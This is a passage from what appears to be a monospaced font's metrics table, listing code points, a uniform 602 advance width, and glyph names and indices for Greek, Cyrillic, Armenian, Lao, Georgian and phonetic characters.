U 906 ; WX 602 ; N Iotatonos ; G 728
U 908 ; WX 602 ; N Omicrontonos ; G 729
U 910 ; WX 602 ; N Upsilontonos ; G 730
U 911 ; WX 602 ; N Omegatonos ; G 731
U 912 ; WX 602 ; N iotadieresistonos ; G 732
U 913 ; WX 602 ; N Alpha ; G 733
U 914 ; WX 602 ; N Beta ; G 734
U 915 ; WX 602 ; N Gamma ; G 735
U 916 ; WX 602 ; N uni0394 ; G 736
U 917 ; WX 602 ; N Epsilon ; G 737
U 918 ; WX 602 ; N Zeta ; G 738
U 919 ; WX 602 ; N Eta ; G 739
U 920 ; WX 602 ; N Theta ; G 740
U 921 ; WX 602 ; N Iota ; G 741
U 922 ; WX 602 ; N Kappa ; G 742
U 923 ; WX 602 ; N Lambda ; G 743
U 924 ; WX 602 ; N Mu ; G 744
U 925 ; WX 602 ; N Nu ; G 745
U 926 ; WX 602 ; N Xi ; G 746
U 927 ; WX 602 ; N Omicron ; G 747
U 928 ; WX 602 ; N Pi ; G 748
U 929 ; WX 602 ; N Rho ; G 749
U 931 ; WX 602 ; N Sigma ; G 750
U 932 ; WX 602 ; N Tau ; G 751
U 933 ; WX 602 ; N Upsilon ; G 752
U 934 ; WX 602 ; N Phi ; G 753
U 935 ; WX 602 ; N Chi ; G 754
U 936 ; WX 602 ; N Psi ; G 755
U 937 ; WX 602 ; N Omega ; G 756
U 938 ; WX 602 ; N Iotadieresis ; G 757
U 939 ; WX 602 ; N Upsilondieresis ; G 758
U 940 ; WX 602 ; N alphatonos ; G 759
U 941 ; WX 602 ; N epsilontonos ; G 760
U 942 ; WX 602 ; N etatonos ; G 761
U 943 ; WX 602 ; N iotatonos ; G 762
U 944 ; WX 602 ; N upsilondieresistonos ; G 763
U 945 ; WX 602 ; N alpha ; G 764
U 946 ; WX 602 ; N beta ; G 765
U 947 ; WX 602 ; N gamma ; G 766
U 948 ; WX 602 ; N delta ; G 767
U 949 ; WX 602 ; N epsilon ; G 768
U 950 ; WX 602 ; N zeta ; G 769
U 951 ; WX 602 ; N eta ; G 770
U 952 ; WX 602 ; N theta ; G 771
U 953 ; WX 602 ; N iota ; G 772
U 954 ; WX 602 ; N kappa ; G 773
U 955 ; WX 602 ; N lambda ; G 774
U 956 ; WX 602 ; N uni03BC ; G 775
U 957 ; WX 602 ; N nu ; G 776
U 958 ; WX 602 ; N xi ; G 777
U 959 ; WX 602 ; N omicron ; G 778
U 960 ; WX 602 ; N pi ; G 779
U 961 ; WX 602 ; N rho ; G 780
U 962 ; WX 602 ; N sigma1 ; G 781
U 963 ; WX 602 ; N sigma ; G 782
U 964 ; WX 602 ; N tau ; G 783
U 965 ; WX 602 ; N upsilon ; G 784
U 966 ; WX 602 ; N phi ; G 785
U 967 ; WX 602 ; N chi ; G 786
U 968 ; WX 602 ; N psi ; G 787
U 969 ; WX 602 ; N omega ; G 788
U 970 ; WX 602 ; N iotadieresis ; G 789
U 971 ; WX 602 ; N upsilondieresis ; G 790
U 972 ; WX 602 ; N omicrontonos ; G 791
U 973 ; WX 602 ; N upsilontonos ; G 792
U 974 ; WX 602 ; N omegatonos ; G 793
U 976 ; WX 602 ; N uni03D0 ; G 794
U 977 ; WX 602 ; N theta1 ; G 795
U 978 ; WX 602 ; N Upsilon1 ; G 796
U 979 ; WX 602 ; N uni03D3 ; G 797
U 980 ; WX 602 ; N uni03D4 ; G 798
U 981 ; WX 602 ; N phi1 ; G 799
U 982 ; WX 602 ; N omega1 ; G 800
U 983 ; WX 602 ; N uni03D7 ; G 801
U 984 ; WX 602 ; N uni03D8 ; G 802
U 985 ; WX 602 ; N uni03D9 ; G 803
U 986 ; WX 602 ; N uni03DA ; G 804
U 987 ; WX 602 ; N uni03DB ; G 805
U 988 ; WX 602 ; N uni03DC ; G 806
U 989 ; WX 602 ; N uni03DD ; G 807
U 990 ; WX 602 ; N uni03DE ; G 808
U 991 ; WX 602 ; N uni03DF ; G 809
U 992 ; WX 602 ; N uni03E0 ; G 810
U 993 ; WX 602 ; N uni03E1 ; G 811
U 1008 ; WX 602 ; N uni03F0 ; G 812
U 1009 ; WX 602 ; N uni03F1 ; G 813
U 1010 ; WX 602 ; N uni03F2 ; G 814
U 1011 ; WX 602 ; N uni03F3 ; G 815
U 1012 ; WX 602 ; N uni03F4 ; G 816
U 1013 ; WX 602 ; N uni03F5 ; G 817
U 1014 ; WX 602 ; N uni03F6 ; G 818
U 1015 ; WX 602 ; N uni03F7 ; G 819
U 1016 ; WX 602 ; N uni03F8 ; G 820
U 1017 ; WX 602 ; N uni03F9 ; G 821
U 1018 ; WX 602 ; N uni03FA ; G 822
U 1019 ; WX 602 ; N uni03FB ; G 823
U 1020 ; WX 602 ; N uni03FC ; G 824
U 1021 ; WX 602 ; N uni03FD ; G 825
U 1022 ; WX 602 ; N uni03FE ; G 826
U 1023 ; WX 602 ; N uni03FF ; G 827
U 1024 ; WX 602 ; N uni0400 ; G 828
U 1025 ; WX 602 ; N uni0401 ; G 829
U 1026 ; WX 602 ; N uni0402 ; G 830
U 1027 ; WX 602 ; N uni0403 ; G 831
U 1028 ; WX 602 ; N uni0404 ; G 832
U 1029 ; WX 602 ; N uni0405 ; G 833
U 1030 ; WX 602 ; N uni0406 ; G 834
U 1031 ; WX 602 ; N uni0407 ; G 835
U 1032 ; WX 602 ; N uni0408 ; G 836
U 1033 ; WX 602 ; N uni0409 ; G 837
U 1034 ; WX 602 ; N uni040A ; G 838
U 1035 ; WX 602 ; N uni040B ; G 839
U 1036 ; WX 602 ; N uni040C ; G 840
U 1037 ; WX 602 ; N uni040D ; G 841
U 1038 ; WX 602 ; N uni040E ; G 842
U 1039 ; WX 602 ; N uni040F ; G 843
U 1040 ; WX 602 ; N uni0410 ; G 844
U 1041 ; WX 602 ; N uni0411 ; G 845
U 1042 ; WX 602 ; N uni0412 ; G 846
U 1043 ; WX 602 ; N uni0413 ; G 847
U 1044 ; WX 602 ; N uni0414 ; G 848
U 1045 ; WX 602 ; N uni0415 ; G 849
U 1046 ; WX 602 ; N uni0416 ; G 850
U 1047 ; WX 602 ; N uni0417 ; G 851
U 1048 ; WX 602 ; N uni0418 ; G 852
U 1049 ; WX 602 ; N uni0419 ; G 853
U 1050 ; WX 602 ; N uni041A ; G 854
U 1051 ; WX 602 ; N uni041B ; G 855
U 1052 ; WX 602 ; N uni041C ; G 856
U 1053 ; WX 602 ; N uni041D ; G 857
U 1054 ; WX 602 ; N uni041E ; G 858
U 1055 ; WX 602 ; N uni041F ; G 859
U 1056 ; WX 602 ; N uni0420 ; G 860
U 1057 ; WX 602 ; N uni0421 ; G 861
U 1058 ; WX 602 ; N uni0422 ; G 862
U 1059 ; WX 602 ; N uni0423 ; G 863
U 1060 ; WX 602 ; N uni0424 ; G 864
U 1061 ; WX 602 ; N uni0425 ; G 865
U 1062 ; WX 602 ; N uni0426 ; G 866
U 1063 ; WX 602 ; N uni0427 ; G 867
U 1064 ; WX 602 ; N uni0428 ; G 868
U 1065 ; WX 602 ; N uni0429 ; G 869
U 1066 ; WX 602 ; N uni042A ; G 870
U 1067 ; WX 602 ; N uni042B ; G 871
U 1068 ; WX 602 ; N uni042C ; G 872
U 1069 ; WX 602 ; N uni042D ; G 873
U 1070 ; WX 602 ; N uni042E ; G 874
U 1071 ; WX 602 ; N uni042F ; G 875
U 1072 ; WX 602 ; N uni0430 ; G 876
U 1073 ; WX 602 ; N uni0431 ; G 877
U 1074 ; WX 602 ; N uni0432 ; G 878
U 1075 ; WX 602 ; N uni0433 ; G 879
U 1076 ; WX 602 ; N uni0434 ; G 880
U 1077 ; WX 602 ; N uni0435 ; G 881
U 1078 ; WX 602 ; N uni0436 ; G 882
U 1079 ; WX 602 ; N uni0437 ; G 883
U 1080 ; WX 602 ; N uni0438 ; G 884
U 1081 ; WX 602 ; N uni0439 ; G 885
U 1082 ; WX 602 ; N uni043A ; G 886
U 1083 ; WX 602 ; N uni043B ; G 887
U 1084 ; WX 602 ; N uni043C ; G 888
U 1085 ; WX 602 ; N uni043D ; G 889
U 1086 ; WX 602 ; N uni043E ; G 890
U 1087 ; WX 602 ; N uni043F ; G 891
U 1088 ; WX 602 ; N uni0440 ; G 892
U 1089 ; WX 602 ; N uni0441 ; G 893
U 1090 ; WX 602 ; N uni0442 ; G 894
U 1091 ; WX 602 ; N uni0443 ; G 895
U 1092 ; WX 602 ; N uni0444 ; G 896
U 1093 ; WX 602 ; N uni0445 ; G 897
U 1094 ; WX 602 ; N uni0446 ; G 898
U 1095 ; WX 602 ; N uni0447 ; G 899
U 1096 ; WX 602 ; N uni0448 ; G 900
U 1097 ; WX 602 ; N uni0449 ; G 901
U 1098 ; WX 602 ; N uni044A ; G 902
U 1099 ; WX 602 ; N uni044B ; G 903
U 1100 ; WX 602 ; N uni044C ; G 904
U 1101 ; WX 602 ; N uni044D ; G 905
U 1102 ; WX 602 ; N uni044E ; G 906
U 1103 ; WX 602 ; N uni044F ; G 907
U 1104 ; WX 602 ; N uni0450 ; G 908
U 1105 ; WX 602 ; N uni0451 ; G 909
U 1106 ; WX 602 ; N uni0452 ; G 910
U 1107 ; WX 602 ; N uni0453 ; G 911
U 1108 ; WX 602 ; N uni0454 ; G 912
U 1109 ; WX 602 ; N uni0455 ; G 913
U 1110 ; WX 602 ; N uni0456 ; G 914
U 1111 ; WX 602 ; N uni0457 ; G 915
U 1112 ; WX 602 ; N uni0458 ; G 916
U 1113 ; WX 602 ; N uni0459 ; G 917
U 1114 ; WX 602 ; N uni045A ; G 918
U 1115 ; WX 602 ; N uni045B ; G 919
U 1116 ; WX 602 ; N uni045C ; G 920
U 1117 ; WX 602 ; N uni045D ; G 921
U 1118 ; WX 602 ; N uni045E ; G 922
U 1119 ; WX 602 ; N uni045F ; G 923
U 1122 ; WX 602 ; N uni0462 ; G 924
U 1123 ; WX 602 ; N uni0463 ; G 925
U 1138 ; WX 602 ; N uni0472 ; G 926
U 1139 ; WX 602 ; N uni0473 ; G 927
U 1168 ; WX 602 ; N uni0490 ; G 928
U 1169 ; WX 602 ; N uni0491 ; G 929
U 1170 ; WX 602 ; N uni0492 ; G 930
U 1171 ; WX 602 ; N uni0493 ; G 931
U 1172 ; WX 602 ; N uni0494 ; G 932
U 1173 ; WX 602 ; N uni0495 ; G 933
U 1174 ; WX 602 ; N uni0496 ; G 934
U 1175 ; WX 602 ; N uni0497 ; G 935
U 1176 ; WX 602 ; N uni0498 ; G 936
U 1177 ; WX 602 ; N uni0499 ; G 937
U 1178 ; WX 602 ; N uni049A ; G 938
U 1179 ; WX 602 ; N uni049B ; G 939
U 1186 ; WX 602 ; N uni04A2 ; G 940
U 1187 ; WX 602 ; N uni04A3 ; G 941
U 1188 ; WX 602 ; N uni04A4 ; G 942
U 1189 ; WX 602 ; N uni04A5 ; G 943
U 1194 ; WX 602 ; N uni04AA ; G 944
U 1195 ; WX 602 ; N uni04AB ; G 945
U 1196 ; WX 602 ; N uni04AC ; G 946
U 1197 ; WX 602 ; N uni04AD ; G 947
U 1198 ; WX 602 ; N uni04AE ; G 948
U 1199 ; WX 602 ; N uni04AF ; G 949
U 1200 ; WX 602 ; N uni04B0 ; G 950
U 1201 ; WX 602 ; N uni04B1 ; G 951
U 1202 ; WX 602 ; N uni04B2 ; G 952
U 1203 ; WX 602 ; N uni04B3 ; G 953
U 1210 ; WX 602 ; N uni04BA ; G 954
U 1211 ; WX 602 ; N uni04BB ; G 955
U 1216 ; WX 602 ; N uni04C0 ; G 956
U 1217 ; WX 602 ; N uni04C1 ; G 957
U 1218 ; WX 602 ; N uni04C2 ; G 958
U 1219 ; WX 602 ; N uni04C3 ; G 959
U 1220 ; WX 602 ; N uni04C4 ; G 960
U 1223 ; WX 602 ; N uni04C7 ; G 961
U 1224 ; WX 602 ; N uni04C8 ; G 962
U 1227 ; WX 602 ; N uni04CB ; G 963
U 1228 ; WX 602 ; N uni04CC ; G 964
U 1231 ; WX 602 ; N uni04CF ; G 965
U 1232 ; WX 602 ; N uni04D0 ; G 966
U 1233 ; WX 602 ; N uni04D1 ; G 967
U 1234 ; WX 602 ; N uni04D2 ; G 968
U 1235 ; WX 602 ; N uni04D3 ; G 969
U 1236 ; WX 602 ; N uni04D4 ; G 970
U 1237 ; WX 602 ; N uni04D5 ; G 971
U 1238 ; WX 602 ; N uni04D6 ; G 972
U 1239 ; WX 602 ; N uni04D7 ; G 973
U 1240 ; WX 602 ; N uni04D8 ; G 974
U 1241 ; WX 602 ; N uni04D9 ; G 975
U 1242 ; WX 602 ; N uni04DA ; G 976
U 1243 ; WX 602 ; N uni04DB ; G 977
U 1244 ; WX 602 ; N uni04DC ; G 978
U 1245 ; WX 602 ; N uni04DD ; G 979
U 1246 ; WX 602 ; N uni04DE ; G 980
U 1247 ; WX 602 ; N uni04DF ; G 981
U 1248 ; WX 602 ; N uni04E0 ; G 982
U 1249 ; WX 602 ; N uni04E1 ; G 983
U 1250 ; WX 602 ; N uni04E2 ; G 984
U 1251 ; WX 602 ; N uni04E3 ; G 985
U 1252 ; WX 602 ; N uni04E4 ; G 986
U 1253 ; WX 602 ; N uni04E5 ; G 987
U 1254 ; WX 602 ; N uni04E6 ; G 988
U 1255 ; WX 602 ; N uni04E7 ; G 989
U 1256 ; WX 602 ; N uni04E8 ; G 990
U 1257 ; WX 602 ; N uni04E9 ; G 991
U 1258 ; WX 602 ; N uni04EA ; G 992
U 1259 ; WX 602 ; N uni04EB ; G 993
U 1260 ; WX 602 ; N uni04EC ; G 994
U 1261 ; WX 602 ; N uni04ED ; G 995
U 1262 ; WX 602 ; N uni04EE ; G 996
U 1263 ; WX 602 ; N uni04EF ; G 997
U 1264 ; WX 602 ; N uni04F0 ; G 998
U 1265 ; WX 602 ; N uni04F1 ; G 999
U 1266 ; WX 602 ; N uni04F2 ; G 1000
U 1267 ; WX 602 ; N uni04F3 ; G 1001
U 1268 ; WX 602 ; N uni04F4 ; G 1002
U 1269 ; WX 602 ; N uni04F5 ; G 1003
U 1270 ; WX 602 ; N uni04F6 ; G 1004
U 1271 ; WX 602 ; N uni04F7 ; G 1005
U 1272 ; WX 602 ; N uni04F8 ; G 1006
U 1273 ; WX 602 ; N uni04F9 ; G 1007
U 1296 ; WX 602 ; N uni0510 ; G 1008
U 1297 ; WX 602 ; N uni0511 ; G 1009
U 1306 ; WX 602 ; N uni051A ; G 1010
U 1307 ; WX 602 ; N uni051B ; G 1011
U 1308 ; WX 602 ; N uni051C ; G 1012
U 1309 ; WX 602 ; N uni051D ; G 1013
U 1329 ; WX 602 ; N uni0531 ; G 1014
U 1330 ; WX 602 ; N uni0532 ; G 1015
U 1331 ; WX 602 ; N uni0533 ; G 1016
U 1332 ; WX 602 ; N uni0534 ; G 1017
U 1333 ; WX 602 ; N uni0535 ; G 1018
U 1334 ; WX 602 ; N uni0536 ; G 1019
U 1335 ; WX 602 ; N uni0537 ; G 1020
U 1336 ; WX 602 ; N uni0538 ; G 1021
U 1337 ; WX 602 ; N uni0539 ; G 1022
U 1338 ; WX 602 ; N uni053A ; G 1023
U 1339 ; WX 602 ; N uni053B ; G 1024
U 1340 ; WX 602 ; N uni053C ; G 1025
U 1341 ; WX 602 ; N uni053D ; G 1026
U 1342 ; WX 602 ; N uni053E ; G 1027
U 1343 ; WX 602 ; N uni053F ; G 1028
U 1344 ; WX 602 ; N uni0540 ; G 1029
U 1345 ; WX 602 ; N uni0541 ; G 1030
U 1346 ; WX 602 ; N uni0542 ; G 1031
U 1347 ; WX 602 ; N uni0543 ; G 1032
U 1348 ; WX 602 ; N uni0544 ; G 1033
U 1349 ; WX 602 ; N uni0545 ; G 1034
U 1350 ; WX 602 ; N uni0546 ; G 1035
U 1351 ; WX 602 ; N uni0547 ; G 1036
U 1352 ; WX 602 ; N uni0548 ; G 1037
U 1353 ; WX 602 ; N uni0549 ; G 1038
U 1354 ; WX 602 ; N uni054A ; G 1039
U 1355 ; WX 602 ; N uni054B ; G 1040
U 1356 ; WX 602 ; N uni054C ; G 1041
U 1357 ; WX 602 ; N uni054D ; G 1042
U 1358 ; WX 602 ; N uni054E ; G 1043
U 1359 ; WX 602 ; N uni054F ; G 1044
U 1360 ; WX 602 ; N uni0550 ; G 1045
U 1361 ; WX 602 ; N uni0551 ; G 1046
U 1362 ; WX 602 ; N uni0552 ; G 1047
U 1363 ; WX 602 ; N uni0553 ; G 1048
U 1364 ; WX 602 ; N uni0554 ; G 1049
U 1365 ; WX 602 ; N uni0555 ; G 1050
U 1366 ; WX 602 ; N uni0556 ; G 1051
U 1369 ; WX 602 ; N uni0559 ; G 1052
U 1370 ; WX 602 ; N uni055A ; G 1053
U 1371 ; WX 602 ; N uni055B ; G 1054
U 1372 ; WX 602 ; N uni055C ; G 1055
U 1373 ; WX 602 ; N uni055D ; G 1056
U 1374 ; WX 602 ; N uni055E ; G 1057
U 1375 ; WX 602 ; N uni055F ; G 1058
U 1377 ; WX 602 ; N uni0561 ; G 1059
U 1378 ; WX 602 ; N uni0562 ; G 1060
U 1379 ; WX 602 ; N uni0563 ; G 1061
U 1380 ; WX 602 ; N uni0564 ; G 1062
U 1381 ; WX 602 ; N uni0565 ; G 1063
U 1382 ; WX 602 ; N uni0566 ; G 1064
U 1383 ; WX 602 ; N uni0567 ; G 1065
U 1384 ; WX 602 ; N uni0568 ; G 1066
U 1385 ; WX 602 ; N uni0569 ; G 1067
U 1386 ; WX 602 ; N uni056A ; G 1068
U 1387 ; WX 602 ; N uni056B ; G 1069
U 1388 ; WX 602 ; N uni056C ; G 1070
U 1389 ; WX 602 ; N uni056D ; G 1071
U 1390 ; WX 602 ; N uni056E ; G 1072
U 1391 ; WX 602 ; N uni056F ; G 1073
U 1392 ; WX 602 ; N uni0570 ; G 1074
U 1393 ; WX 602 ; N uni0571 ; G 1075
U 1394 ; WX 602 ; N uni0572 ; G 1076
U 1395 ; WX 602 ; N uni0573 ; G 1077
U 1396 ; WX 602 ; N uni0574 ; G 1078
U 1397 ; WX 602 ; N uni0575 ; G 1079
U 1398 ; WX 602 ; N uni0576 ; G 1080
U 1399 ; WX 602 ; N uni0577 ; G 1081
U 1400 ; WX 602 ; N uni0578 ; G 1082
U 1401 ; WX 602 ; N uni0579 ; G 1083
U 1402 ; WX 602 ; N uni057A ; G 1084
U 1403 ; WX 602 ; N uni057B ; G 1085
U 1404 ; WX 602 ; N uni057C ; G 1086
U 1405 ; WX 602 ; N uni057D ; G 1087
U 1406 ; WX 602 ; N uni057E ; G 1088
U 1407 ; WX 602 ; N uni057F ; G 1089
U 1408 ; WX 602 ; N uni0580 ; G 1090
U 1409 ; WX 602 ; N uni0581 ; G 1091
U 1410 ; WX 602 ; N uni0582 ; G 1092
U 1411 ; WX 602 ; N uni0583 ; G 1093
U 1412 ; WX 602 ; N uni0584 ; G 1094
U 1413 ; WX 602 ; N uni0585 ; G 1095
U 1414 ; WX 602 ; N uni0586 ; G 1096
U 1415 ; WX 602 ; N uni0587 ; G 1097
U 1417 ; WX 602 ; N uni0589 ; G 1098
U 1418 ; WX 602 ; N uni058A ; G 1099
U 3647 ; WX 602 ; N uni0E3F ; G 1100
U 3713 ; WX 602 ; N uni0E81 ; G 1101
U 3714 ; WX 602 ; N uni0E82 ; G 1102
U 3716 ; WX 602 ; N uni0E84 ; G 1103
U 3719 ; WX 602 ; N uni0E87 ; G 1104
U 3720 ; WX 602 ; N uni0E88 ; G 1105
U 3722 ; WX 602 ; N uni0E8A ; G 1106
U 3725 ; WX 602 ; N uni0E8D ; G 1107
U 3732 ; WX 602 ; N uni0E94 ; G 1108
U 3733 ; WX 602 ; N uni0E95 ; G 1109
U 3734 ; WX 602 ; N uni0E96 ; G 1110
U 3735 ; WX 602 ; N uni0E97 ; G 1111
U 3737 ; WX 602 ; N uni0E99 ; G 1112
U 3738 ; WX 602 ; N uni0E9A ; G 1113
U 3739 ; WX 602 ; N uni0E9B ; G 1114
U 3740 ; WX 602 ; N uni0E9C ; G 1115
U 3741 ; WX 602 ; N uni0E9D ; G 1116
U 3742 ; WX 602 ; N uni0E9E ; G 1117
U 3743 ; WX 602 ; N uni0E9F ; G 1118
U 3745 ; WX 602 ; N uni0EA1 ; G 1119
U 3746 ; WX 602 ; N uni0EA2 ; G 1120
U 3747 ; WX 602 ; N uni0EA3 ; G 1121
U 3749 ; WX 602 ; N uni0EA5 ; G 1122
U 3751 ; WX 602 ; N uni0EA7 ; G 1123
U 3754 ; WX 602 ; N uni0EAA ; G 1124
U 3755 ; WX 602 ; N uni0EAB ; G 1125
U 3757 ; WX 602 ; N uni0EAD ; G 1126
U 3758 ; WX 602 ; N uni0EAE ; G 1127
U 3759 ; WX 602 ; N uni0EAF ; G 1128
U 3760 ; WX 602 ; N uni0EB0 ; G 1129
U 3761 ; WX 602 ; N uni0EB1 ; G 1130
U 3762 ; WX 602 ; N uni0EB2 ; G 1131
U 3763 ; WX 602 ; N uni0EB3 ; G 1132
U 3764 ; WX 602 ; N uni0EB4 ; G 1133
U 3765 ; WX 602 ; N uni0EB5 ; G 1134
U 3766 ; WX 602 ; N uni0EB6 ; G 1135
U 3767 ; WX 602 ; N uni0EB7 ; G 1136
U 3768 ; WX 602 ; N uni0EB8 ; G 1137
U 3769 ; WX 602 ; N uni0EB9 ; G 1138
U 3771 ; WX 602 ; N uni0EBB ; G 1139
U 3772 ; WX 602 ; N uni0EBC ; G 1140
U 3784 ; WX 602 ; N uni0EC8 ; G 1141
U 3785 ; WX 602 ; N uni0EC9 ; G 1142
U 3786 ; WX 602 ; N uni0ECA ; G 1143
U 3787 ; WX 602 ; N uni0ECB ; G 1144
U 3788 ; WX 602 ; N uni0ECC ; G 1145
U 3789 ; WX 602 ; N uni0ECD ; G 1146
U 4304 ; WX 602 ; N uni10D0 ; G 1147
U 4305 ; WX 602 ; N uni10D1 ; G 1148
U 4306 ; WX 602 ; N uni10D2 ; G 1149
U 4307 ; WX 602 ; N uni10D3 ; G 1150
U 4308 ; WX 602 ; N uni10D4 ; G 1151
U 4309 ; WX 602 ; N uni10D5 ; G 1152
U 4310 ; WX 602 ; N uni10D6 ; G 1153
U 4311 ; WX 602 ; N uni10D7 ; G 1154
U 4312 ; WX 602 ; N uni10D8 ; G 1155
U 4313 ; WX 602 ; N uni10D9 ; G 1156
U 4314 ; WX 602 ; N uni10DA ; G 1157
U 4315 ; WX 602 ; N uni10DB ; G 1158
U 4316 ; WX 602 ; N uni10DC ; G 1159
U 4317 ; WX 602 ; N uni10DD ; G 1160
U 4318 ; WX 602 ; N uni10DE ; G 1161
U 4319 ; WX 602 ; N uni10DF ; G 1162
U 4320 ; WX 602 ; N uni10E0 ; G 1163
U 4321 ; WX 602 ; N uni10E1 ; G 1164
U 4322 ; WX 602 ; N uni10E2 ; G 1165
U 4323 ; WX 602 ; N uni10E3 ; G 1166
U 4324 ; WX 602 ; N uni10E4 ; G 1167
U 4325 ; WX 602 ; N uni10E5 ; G 1168
U 4326 ; WX 602 ; N uni10E6 ; G 1169
U 4327 ; WX 602 ; N uni10E7 ; G 1170
U 4328 ; WX 602 ; N uni10E8 ; G 1171
U 4329 ; WX 602 ; N uni10E9 ; G 1172
U 4330 ; WX 602 ; N uni10EA ; G 1173
U 4331 ; WX 602 ; N uni10EB ; G 1174
U 4332 ; WX 602 ; N uni10EC ; G 1175
U 4333 ; WX 602 ; N uni10ED ; G 1176
U 4334 ; WX 602 ; N uni10EE ; G 1177
U 4335 ; WX 602 ; N uni10EF ; G 1178
U 4336 ; WX 602 ; N uni10F0 ; G 1179
U 4337 ; WX 602 ; N uni10F1 ; G 1180
U 4338 ; WX 602 ; N uni10F2 ; G 1181
U 4339 ; WX 602 ; N uni10F3 ; G 1182
U 4340 ; WX 602 ; N uni10F4 ; G 1183
U 4341 ; WX 602 ; N uni10F5 ; G 1184
U 4342 ; WX 602 ; N uni10F6 ; G 1185
U 4343 ; WX 602 ; N uni10F7 ; G 1186
U 4344 ; WX 602 ; N uni10F8 ; G 1187
U 4345 ; WX 602 ; N uni10F9 ; G 1188
U 4346 ; WX 602 ; N uni10FA ; G 1189
U 4347 ; WX 602 ; N uni10FB ; G 1190
U 4348 ; WX 602 ; N uni10FC ; G 1191
U 7426 ; WX 602 ; N uni1D02 ; G 1192
U 7432 ; WX 602 ; N uni1D08 ; G 1193
U 7433 ; WX 602 ; N uni1D09 ; G 1194
U 7444 ; WX 602 ; N uni1D14 ; G 1195
U 7446 ; WX 602 ; N uni1D16 ; G 1196
U 7447 ; WX 602 ; N uni1D17 ; G 1197
U 7453 ; WX 602 ; N uni1D1D ; G 1198
U 7454 ; WX 602 ; N uni1D1E ; G 1199
U 7455 ; WX 602 ; N uni1D1F ; G 1200
U 7468 ; WX 602 ; N uni1D2C ; G 1201
U 7469 ; WX 602 ; N uni1D2D ; G 1202
U 7470 ; WX 602 ; N uni1D2E ; G 1203
U 7472 ; WX 602 ; N uni1D30 ; G 1204
U 7473 ; WX 602 ; N uni1D31 ; G 1205
U 7474 ; WX 602 ; N uni1D32 ; G 1206
U 7475 ; WX 602 ; N uni1D33 ; G 1207
U 7476 ; WX 602 ; N uni1D34 ; G 1208
U 7477 ; WX 602 ; N uni1D35 ; G 1209
U 7478 ; WX 602 ; N uni1D36 ; G 1210
U 7479 ; WX 602 ; N uni1D37 ; G 1211
U 7480 ; WX 602 ; N uni1D38 ; G 1212
U 7481 ; WX 602 ; N uni1D39 ; G 1213
U 7482 ; WX 602 ; N uni1D3A ; G 1214
U 7483 ; WX 602 ; N uni1D3B ; G 1215
U 7484 ; WX 602 ; N uni1D3C ; G 1216
U 7485 ; WX 602 ; N uni1D3D ; G 1217
U 7486 ; WX 602 ; N uni1D3E ; G 1218
U 7487 ; WX 602 ; N uni1D3F ; G 1219
U 7488 ; WX 602 ; N uni1D40 ; G 1220
U 7489 ; WX 602 ; N uni1D41 ; G 1221
U 7490 ; WX 602 ; N uni1D42 ; G 1222
U 7491 ; WX 602 ; N uni1D43 ; G 1223
U 7492 ; WX 602 ; N uni1D44 ; G 1224
U 7493 ; WX 602 ; N uni1D45 ; G 1225
U 7494 ; WX 602 ; N uni1D46 ; G 1226
U 7495 ; WX 602 ; N uni1D47 ; G 1227
U 7496 ; WX 602 ; N uni1D48 ; G 1228
U 7497 ; WX 602 ; N uni1D49 ; G 1229
U 7498 ; WX 602 ; N uni1D4A ; G 1230
U 7499 ; WX 602 ; N uni1D4B ; G 1231
U 7500 ; WX 602 ; N uni1D4C ; G 1232
U 7501 ; WX 602 ; N uni1D4D ; G 1233
U 7502 ; WX 602 ; N uni1D4E ; G 1234
U 7503 ; WX 602 ; N uni1D4F ; G 1235
U 7504 ; WX 602 ; N uni1D50 ; G 1236
U 7505 ; WX 602 ; N uni1D51 ; G 1237
U 7506 ; WX 602 ; N uni1D52 ; G 1238
U 7507 ; WX 602 ; N uni1D53 ; G 1239
U 7508 ; WX 602 ; N uni1D54 ; G 1240
U 7509 ; WX 602 ; N uni1D55 ; G 1241
U 7510 ; WX 602 ; N uni1D56 ; G 1242
U 7511 ; WX 602 ; N uni1D57 ; G 1243
U 7512 ; WX 602 ; N uni1D58 ; G 1244
U 7513 ; WX 602 ; N uni1D59 ; G 1245
U 7514 ; WX 602 ; N uni1D5A ; G 1246
U 7515 ; WX 602 ; N uni1D5B ; G 1247
U 7522 ; WX 602 ; N uni1D62 ; G 1248
U 7523 ; WX 602 ; N uni1D63 ; G 1249
U 7524 ; WX 602 ; N uni1D64 ; G 1250
U 7525 ; WX 602 ; N uni1D65 ; G 1251
U 7543 ; WX 602 ; N uni1D77 ; G 1252
U 7544 ; WX 602 ; N uni1D78 ; G 1253
U 7547 ; WX 602 ; N uni1D7B ; G 1254
U 7557 ; WX 602 ; N uni1D85 ; G 1255
U 7579 ; WX 602 ; N uni1D9B ; G 1256
U 7580 ; WX 602 ; N uni1D9C ; G 1257
U 7581 ; WX 602 ; N uni1D9D ; G 1258
U 7582 ; WX 602 ; N uni1D9E ; G 1259
U 7583 ; WX 602 ; N uni1D9F ; G 1260
U 7584 ; WX 602 ; N uni1DA0 ; G 1261
U 7585 ; WX 602 ; N uni1DA1 ; G 1262
U 7586 ; WX 602 ; N uni1DA2 ; G 1263
U 7587 ; WX 602 ; N uni1DA3 ; G 1264
U 7588 ; WX 602 ; N uni1DA4 ; G 1265
U 7589 ; WX 602 ; N uni1DA5 ; G 1266
U 7590 ; WX 602 ; N uni1DA6 ; G 1267
U 7591 ; WX 602 ; N uni1DA7 ; G 1268
U 7592 ; WX 602 ; N uni1DA8 ; G 1269
U 7593 ; WX 602 ; N uni1DA9 ; G 1270
U 7594 ; WX 602 ; N uni1DAA ; G 1271
U 7595 ; WX 602 ; N uni1DAB ; G 1272
U 7596 ; WX 602 ; N uni1DAC ; G 1273
U 7597 ; WX 602 ; N uni1DAD ; G 1274
U 7598 ; WX 602 ; N uni1DAE ; G 1275
U 7599 ; WX 602 ; N uni1DAF ; G 1276
U 7600 ; WX 602 ; N uni1DB0 ; G 1277
U 7601 ; WX 602 ; N uni1DB1 ; G 1278
U 7602 ; WX 602 ; N uni1DB2 ; G 1279
U 7603 ; WX 602 ; N uni1DB3 ; G 1280
U 7604 ; WX 602 ; N uni1DB4 ; G 1281
U 7605 ; WX 602 ; N uni1DB5 ; G 1282
U 7606 ; WX 602 ; N uni1DB6 ; G 1283
U 7607 ; WX 602 ; N uni1DB7 ; G 1284
U 7609 ; WX 602 ; N uni1DB9 ; G 1285
U 7610 ; WX 602 ; N uni1DBA ; G 1286
U 7611 ; WX 602 ; N uni1DBB ; G 1287
U 7612 ; WX 602 ; N uni1DBC ; G 1288
U 7613 ; WX 602 ; N uni1DBD ; G 1289
U 7614 ; WX 602 ; N uni1DBE ; G 1290
